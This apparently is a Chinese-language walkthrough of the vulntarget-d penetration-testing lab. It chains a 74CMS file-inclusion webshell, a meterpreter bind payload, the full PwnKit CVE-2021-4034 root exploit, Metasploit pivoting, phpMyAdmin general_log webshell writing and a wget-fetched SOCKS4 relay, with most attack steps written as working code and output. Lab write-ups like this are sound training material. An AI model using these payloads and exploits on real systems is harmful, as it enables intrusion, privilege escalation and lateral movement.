vulntarget-d#

前期信息收集#

拿到环境扫描一下

nmap -Pn -sV 192.168.111.20

1
⚡ root@kali  /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/vulntarget-d  nmap -Pn -sV 192.168.111.20
2

3
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-17 21:26 CST
4
Nmap scan report for bogon (192.168.111.20)
5
Host is up (0.094s latency).
6
Not shown: 995 closed tcp ports (reset)
7
PORT     STATE SERVICE VERSION
8
80/tcp   open  http    nginx
9
81/tcp   open  http    nginx
10
888/tcp  open  http    nginx
11
3306/tcp open  mysql   MySQL (unauthorized)
12
8888/tcp open  http    nginx
13

14
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
15
Nmap done: 1 IP address (1 host up) scanned in 28.01 seconds

web-骑士cms文件包含#

然后在81端口开着一个cms 在网上查找可以看到有一个文件包含漏洞利用这个写入恶意文件

http://192.168.111.20\:81/index.php?m=home&a=assign_resume_tpl

1
variable=1&tpl=<?php fputs(fopen("1.php","w"),"<?php eval(\$_POST[1]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

然后包含日志文件这个文件需要是现在的日期才可以利用

1
variable=1&tpl=data/Runtime/Logs/Home/26_09_17.log

然后使用蚁剑连接2.php

msf木马上线#

生成正向后门

1
 msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o payload.elf

放到文件夹执行

1
msf > use exploit/multi/handler
2
[*] Using configured payload generic/shell_reverse_tcp
3
msf exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
4
payload => linux/x64/meterpreter/bind_tcp
5
msf exploit(multi/handler) > set RHOST 192.168.111.20
6
RHOST => 192.168.111.20
7
msf exploit(multi/handler) > run
8
[*] Started bind TCP handler against 192.168.111.20:4444
9
[*] Sending stage (3090404 bytes) to 192.168.111.20
10
[*] Meterpreter session 1 opened (10.8.0.6:38457 -> 192.168.111.20:4444) at 2026-09-18 20:54:04 +0800

利用CVE-2021-4034提权#

1
/*
2
 * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
3
 * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
4
 */
5
#include <stdio.h>
6
#include <stdlib.h>
7
#include <unistd.h>
8

9
char *shell =
10
  "#include <stdio.h>\n"
11
  "#include <stdlib.h>\n"
12
  "#include <unistd.h>\n\n"
13
  "void gconv() {}\n"
14
  "void gconv_init() {\n"
15
  "  setuid(0); setgid(0);\n"
16
  "  seteuid(0); setegid(0);\n"
17
  "  system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
18
  "  exit(0);\n"
19
  "}";
20

21
int main(int argc, char *argv[]) {
22
  FILE *fp;
23
  system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
24
  system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
25
  fp = fopen("pwnkit/pwnkit.c", "w");
26
  fprintf(fp, "%s", shell);
27
  fclose(fp);
28
  system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
29
  char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
30
  execve("/usr/bin/pkexec", (char*[]){NULL}, env);
31
}

1
gcc 1.c -o 1
2
./1
3
id
4
uid=0(root) gid=0(root) groups=0(root),1001(www)

内网渗透#

代理#

1
ifconfig
2
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
3
        inet 192.168.111.20  netmask 255.255.255.0  broadcast 192.168.111.255
4
        inet6 fe80::250:56ff:feb1:47e  prefixlen 64  scopeid 0x20<link>
5
        ether 00:50:56:b1:04:7e  txqueuelen 1000  (Ethernet)
6
        RX packets 2626  bytes 3317188 (3.3 MB)
7
        RX errors 0  dropped 0  overruns 0  frame 0
8
        TX packets 1497  bytes 126218 (126.2 KB)
9
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
10

11
ens34: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
12
        inet 10.0.20.131  netmask 255.255.255.0  broadcast 10.0.20.255
13
        inet6 fe80::250:56ff:feb1:cad6  prefixlen 64  scopeid 0x20<link>
14
        ether 00:50:56:b1:ca:d6  txqueuelen 1000  (Ethernet)
15
        RX packets 208  bytes 23346 (23.3 KB)
16
        RX errors 0  dropped 0  overruns 0  frame 0
17
        TX packets 141  bytes 15216 (15.2 KB)
18
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
19

20
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
21
        inet 127.0.0.1  netmask 255.0.0.0
22
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
23
        loop  txqueuelen 1000  (Local Loopback)
24
        RX packets 3363  bytes 262509 (262.5 KB)
25
        RX errors 0  dropped 0  overruns 0  frame 0
26
        TX packets 3363  bytes 262509 (262.5 KB)
27
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

查看ip 发现还有一个20网段的ip

使用msf添加路由

1
msf exploit(multi/handler) >  use post/multi/manage/autoroute
2
msf post(multi/manage/autoroute) > set SESSION 4
3
SESSION => 4
4
msf post(multi/manage/autoroute) > run
5
[*] Running module against eval (192.168.111.20)
6
[*] Searching for subnets to autoroute.
7
[+] Route added to subnet 10.0.20.0/255.255.255.0 from host's routing table.
8
[+] Route added to subnet 192.168.111.0/255.255.255.0 from host's routing table.
9
[*] Post module execution completed
10
msf post(multi/manage/autoroute) > route
11

12
IPv4 Active Routing Table
13
=========================
14

15
   Subnet             Netmask            Gateway
16
   ------             -------            -------
17
   10.0.20.0          255.255.255.0      Session 4
18
   192.168.111.0      255.255.255.0      Session 4
19

20
[*] There are currently no IPv6 routes defined.

1
use auxiliary/server/socks_proxy
2
set SRVHOST 127.0.0.1
3
set SRVPORT 6677
4
set VERSION 4a
5
run

端口扫描#

1
msf post(multi/manage/autoroute) > use auxiliary/scanner/portscan/tcp
2
msf auxiliary(scanner/portscan/tcp) > show options
3

4
Module options (auxiliary/scanner/portscan/tcp):
5

6
   Name         Current Setting                Required  Description
7
   ----         ---------------                --------  -----------
8
   CONCURRENCY  10                             yes       The number of concurrent ports to check per host
9
   DELAY        0                              yes       The delay between connections, per thread, in milliseconds
10
   JITTER       0                              yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
11
   PORTS        21,22,23,80,443,8080,3389,445  yes       Ports to scan (e.g. 22-25,80,110-900)
12
   RHOSTS       10.0.20.0/24                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
13
   THREADS      50                             yes       The number of concurrent threads (max one per host)
14
   TIMEOUT      1000                           yes       The socket connect timeout in milliseconds
15

16

17
View the full module info with the info, or info -d command.
18

19
msf auxiliary(scanner/portscan/tcp) > run
20
[*] Scanned  26 of 256 hosts (10% complete)
21
[*] Scanned  56 of 256 hosts (21% complete)
22
[*] Scanned  79 of 256 hosts (30% complete)
23
[*] Scanned 108 of 256 hosts (42% complete)
24
[+] 10.0.20.131           - 10.0.20.131:80 - TCP OPEN
25
[+] 10.0.20.136           - 10.0.20.136:80 - TCP OPEN
26
[*] Scanned 130 of 256 hosts (50% complete)

~~10.0.20.131 - 10.0.20.131:80 - TCP OPEN~~ 10.0.20.136 - 10.0.20.136:80 - TCP OPEN

信息收集#

看到了开放了80端口然后打开web只能看到hello world 然后进行目录骚猫

因为这个靶场的VPN特别脆弱所以进行dirsearch的时候一定要限制

1
dirsearch -u http://10.0.20.136 --proxy socks4://127.0.0.1:6677 -t 1    --timeout=20

1
 ⚡ root@kali  /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/vulntarget-d  dirsearch -u http://10.0.20.136 --proxy socks4://127.0.0.1:6677 -t 1    --timeout=20 -i 200
2

3
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
4
  from pkg_resources import DistributionNotFound, VersionConflict
5
/usr/local/lib/python3.13/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (1.26.16) or chardet (3.0.4) doesn't match a supported version!
6
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
7

8
  _|. _ _  _  _  _ _|_    v0.4.3
9
 (_||| _) (/_(_|| (_| )
10

11
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 1 | Wordlist size: 11460
12

13
Output File: /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/vulntarget-d/reports/http_10.0.20.136/_26-09-19_13-15-53.txt
14

15
Target: http://10.0.20.136/
16

17
[13:16:05] Starting:
18
[13:16:10] 200 -   14KB - /l.php
19
[13:16:10] 200 -   71KB - /phpinfo.php
20
[13:16:11] 200 -    4KB - /phpmyadmin/
21
[13:16:12] 200 -    4KB - /phpMyAdmin/
22
[13:16:12] 200 -    4KB - /phpmyadmin/index.php
23
[13:16:12] 200 -    4KB - /phpMyAdmin/index.php
24
[13:16:12] 200 -    2KB - /phpmyadmin/README
25
[13:16:12] 200 -   32KB - /phpmyadmin/ChangeLog
26

27
Task Completed

phpmyadmin写日志拿到shell#

发现存在phpmyadmin 然后尝试用弱口令登录发现root/root可以登录

然后既然可以登录那我们就可以通过写日志来写入恶意文件拿到shell

1
SHOW  VARIABLES  LIKE  '%general%'
2
set global general_log=on;
3
set global general_log_file='C:/phpstudy/PHPTutorial/www/1.php';
4
SELECT '<?php eval($_POST["1"]); ?>'

然后这边msf的sock4隧道是没办法在蚁剑建立代理的然后这个VPN不能用5所以我们在192.168.111.20上建立sock4的代理

1
# 靶机（蚁剑虚拟终端，或你那个活着的 meterpreter 的 shell）
2
python3 -V     # 先确认有 python3
3

4
cd /tmp && wget -q http://10.8.0.6:8000/socks4d.py -O socks4d.py && (setsid python3 /tmp/socks4d.py 0.0.0.0 1080 >/tmp/socks4d.log 2>&1 &) ; sleep 2 ; cat /tmp/socks4d.log

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
import socket
4
import struct
5
import sys
6
import threading
7

8
LISTEN_HOST = sys.argv[1] if len(sys.argv) > 1 else '0.0.0.0'
9
LISTEN_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1080
10
CONNECT_TIMEOUT = 15
11
BUFSIZE = 8192
12

13
REQ_GRANTED = b'\x00\x5a'
14
REQ_REJECT = b'\x00\x5b'
15
NULLADDR = b'\x00\x00\x00\x00\x00\x00'
16

17

18
def pump(src, dst):
19
    """单向转发，直到任一端关闭。"""
20
    try:
21
        while True:
22
            data = src.recv(BUFSIZE)
23
            if not data:
24
                break
25
            dst.sendall(data)
26
    except Exception:
27
        pass
28
    finally:
29
        for s in (src, dst):
30
            try:
31
                s.shutdown(socket.SHUT_WR)
32
            except Exception:
33
                pass
34

35

36
def recv_until_nul(conn, limit=512):
37
    """读到一个 \\x00 为止（SOCKS4 的 USERID / 域名都是这种格式）。"""
38
    buf = bytearray()
39
    while len(buf) < limit:
40
        try:
41
            ch = conn.recv(1)
42
        except Exception:
43
            break
44
        if not ch or ch == b'\x00':
45
            break
46
        buf += ch
47
    return bytes(buf)
48

49

50
def handle(conn):
51
    try:
52
        conn.settimeout(CONNECT_TIMEOUT)
53

54
        # --- 1. 版本 ---
55
        ver = conn.recv(1)
56
        if not ver or ver[0] != 4:
57
            conn.close()
58
            return
59

60
        # --- 2. 命令 / 端口 / IP ---
61
        cmd = conn.recv(1)[0]
62
        port = struct.unpack('>H', conn.recv(2))[0]
63
        ip_raw = conn.recv(4)
64

65
        # --- 3. USERID（丢弃）---
66
        recv_until_nul(conn)
67

68
        ip = socket.inet_ntoa(ip_raw)
69

70
        # --- 4. SOCKS4a：DSTIP 为 0.0.0.x (x!=0) 时，后面跟域名 ---
71
        if ip_raw[:3] == b'\x00\x00\x00' and ip_raw[3] != 0:
72
            host = recv_until_nul(conn).decode('utf-8', 'ignore')
73
            if host:
74
                ip = host
75

76
        if cmd != 1:  # 只支持 CONNECT
77
            conn.sendall(REQ_REJECT + NULLADDR)
78
            conn.close()
79
            return
80

81
        # --- 5. 先连目标，成功后才回 GRANTED（关键时序）---
82
        remote = socket.create_connection((ip, port), timeout=CONNECT_TIMEOUT)
83
        conn.sendall(REQ_GRANTED + struct.pack('>H', port) + socket.inet_aton('0.0.0.0'))
84

85
        # --- 6. 双向中继 ---
86
        conn.settimeout(None)
87
        remote.settimeout(None)
88
        threading.Thread(target=pump, args=(conn, remote), daemon=True).start()
89
        pump(remote, conn)
90

91
    except Exception:
92
        try:
93
            conn.sendall(REQ_REJECT + NULLADDR)
94
        except Exception:
95
            pass
96
        try:
97
            conn.close()
98
        except Exception:
99
            pass
100

101

102
def main():
103
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
104
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
105
    srv.bind((LISTEN_HOST, LISTEN_PORT))
106
    srv.listen(128)
107
    print('socks4d listening on %s:%d (SOCKS4/4a)' % (LISTEN_HOST, LISTEN_PORT), flush=True)
108
    while True:
109
        try:
110
            conn, addr = srv.accept()
111
        except Exception:
112
            continue
113
        threading.Thread(target=handle, args=(conn,), daemon=True).start()
114

115

116
if __name__ == '__main__':
117
    main()

在蚁剑连接上服务器

连上之后打开终端输入 type C:/flag.txt 拿到flag